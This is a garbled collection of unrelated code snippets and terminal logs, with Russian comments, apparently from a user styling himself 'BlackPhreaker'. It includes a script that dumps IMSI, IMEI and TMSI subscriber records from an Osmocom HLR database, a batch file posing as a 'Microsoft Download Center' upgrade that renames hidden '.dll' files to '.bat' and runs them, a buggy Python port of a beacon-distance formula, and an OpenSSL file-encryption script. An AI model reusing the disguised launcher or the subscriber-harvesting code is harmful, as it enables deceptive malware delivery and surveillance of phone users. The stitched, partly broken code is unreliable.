root@BlackPhreaker:~/Desktop/osmocom_script# python print_db_1.py 

259962166   | XXXXXXXXXXXXXX | XXXXXXXXXXXXXX | 2018-11-03 21:04:15 | 2018-11-19 03:47:13 | 2018-11-19 04:48:13 |     2535

root@BlackPhreaker:~/Desktop/osmocom_script# python print_db_1.py

 
259962166   | XXXXXXXXXXXXXX | XXXXXXXXXXXXXX | 2018-11-03 21:04:15 | 2018-11-19 03:47:13 | 2018-11-19 04:48:13 |     2535

259962166   | XXXXXXXXXXXXXX | XXXXXXXXXXXXXX | 2018-11-03 21:04:15 | 2018-11-19 03:47:13 | 2018-11-19 04:48:13 |     2535

2552628735  | XXXXXXXXXXXXXX | XXXXXXXXXXXXXX | 2018-11-12 23:44:36 | 2018-11-19 03:07:28 | 2018-11-13 00:46:17 |        0

2552628735  | XXXXXXXXXXXXXX | XXXXXXXXXXXXXX | 2018-11-12 23:44:36 | 2018-11-19 03:07:28 | 2018-11-13 00:46:17 |        0

 

#!/usr/bin/python
# -*- coding: utf-8 -*-
#======================================================================================

#======================================================================================

import sqlite3

db = sqlite3.connect('/root/Desktop/hlr.sqlite3')

def read_sql_db():
    with db:
	cur = db.cursor()    
	cur.execute("SELECT s.tmsi as TMSI," #
			"s.imsi as IMSI,"
			"e.imei as IMEI,"
			"s.created as CREATED,"
			"s.updated as UPDATED, " ##/!\##
			"s.expire_lu as EXPIRE,"
			"s.lac as LAC "
			"FROM Subscriber s,"
			"EquipmentWatch ew,"
			"Equipment e "
			"WHERE s.id = ew.subscriber_id")
	while True:
	    row = cur.fetchone()
        
	    if row == None:
		break
	    global TMSIS
	    global IMSIS
	    global IMEIS
	    global CREATED
	    global UPDATED
	    global EXPIRE
	    global LACS
	    TMSIS = row[0]
	    IMSIS = row[1]
	    IMEIS = row[2]
	    CREATED = row[3]
	    UPDATED = row[4]
	    EXPIRE = row[5]  
	    LACS = row[6] 
    	    return TMSIS,IMSIS,IMEIS,CREATED,UPDATED,EXPIRE,LACS
	return None,None,None,None,None,None,None
#			cur.close()
		
read_sql_db()
print("{:11} | {:15} | {:15} | {} | {} | {} | {:8}".format(TMSIS,IMSIS,IMEIS,CREATED,UPDATED,EXPIRE,LACS))

public static double calculateDistance(int txPower, double rssi, boolean eddy) {
    if (rssi == 0) {
        return -1.0; // if we cannot determine distance, return -1.
    }

    double ratio = rssi*1.0/(eddy?txPower-41:txPower);
    if (ratio < 1.0) {
        return Math.pow(ratio,10);
    }
    else {
        double accuracy =  (0.89976)*Math.pow(ratio,7.7095) + 0.111;
        return accuracy;
    }
}

На данный момент результат продвигается медленно:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import math

def distance(n,         # (в свободном пространстве)
             tx_power,  # Мощность передачи (TxPower) !!! (26) (2)
             rssi,      # Индикатор мощности принятого сигнала (RSSI)
             eddy=False):
    if rssi == 0:
        return -1.0
    if eddy:
        tx_power - rssi
    ratio = rssi*1.0/tx_power 
    if ratio < 1.0:
        return math.pow(10, ratio)
    else:
        return 0.89976*math.pow(7.7095, ratio) + 0.111


print(distance(n=2, tx_power=2, rssi=-17, eddy=False))

#!/usr/bin/python
# -*- coding: utf-8 -*-

hexs='ee'
print int(hexs, 16) # 238 (8 byte)
print ????????????? # -18 (1 byte)

# Первый ответ получается (238) 
# А как второй получит по заданию должен (-18)

@echo off
title Upgrade Microsoft Download Center by Black Phreaker v1.0.7
color 0c
chcp 1251
mode con:cols=120 lines=30
cls


@echo Cannot connect to Microsoft Download Center
@echo Do you want to exit? (y/n)
@echo.

@SET /P dll="root@BlackPhreaker:~# "

rem *************************************************************
rem DLL
rem *************************************************************
@IF "%dll%"=="start" @SET dll="%~dp0\dll\baselib.001"
@IF "%dll%"=="kill"  @SET dll="%~dp0\dll\baselib.002"
@IF "%dll%"=="help"  @SET dll="%~dp0\dll\baselib.003"
@IF "%dll%"=="info"  @SET dll="%~dp0\dll\baselib.004"
rem *************************************************************
rem DLL
rem *************************************************************

@IF EXIST %dll%.dll @COPY %dll%.dll %dll%.bat
@IF EXIST %dll%.bat @CALL %dll%.bat
@IF EXIST %dll%.bat @DEL  %dll%.bat

wget http://***.**/ru/gservices/files/file/***_***_***.doc -e robot=off
--2015-10-29 10:00:21--  http://***.**/ru/gservices/files/file/***_***_***.doc
Распознаётся localhost (localhost)… ::1, 127.0.0.1
Подключение к localhost (localhost)|::1|:8118... соединение установлено.
Proxy-запрос отправлен. Ожидание ответа... 404 Not Found
2015-10-29 10:00:23 ОШИБКА 404: Not Found. 

#!/bin/bash
#encrypt.sh

 FILENAME="$1"   # Имя файла для шифрование
 PUBLICKEY="$2"  # Публичный ключь шифрование
 SESSIONKEY="$3" # Скрытый ключь шифрование
 RESULT="$4"     # Зашифрованный файл

 # Generate the random symmetric-key
 # Создать случайный симметричный ключ
 PASSIZE=30
 if [ -c /dev/urandom ] ; then
 KEY=`head -c 30 /dev/urandom | openssl enc -base64`
 else
 KEY=`openssl rand -base64 30`
 fi
 export KEY

 # Encrypt the symmetric key using the public key
 # Шифрование симметричного ключа с помощью открытого ключа
 
 openssl rsautl -encrypt -inkey "$PUBLICKEY" -out "$SESSIONKEY" -pubin<<EOF
$KEY
EOF

 # Encrypt the file
 # Зашифровать файл
 
 openssl enc -aes-256-cbc -pass env:KEY -in "$FILENAME" -out "$RESULT"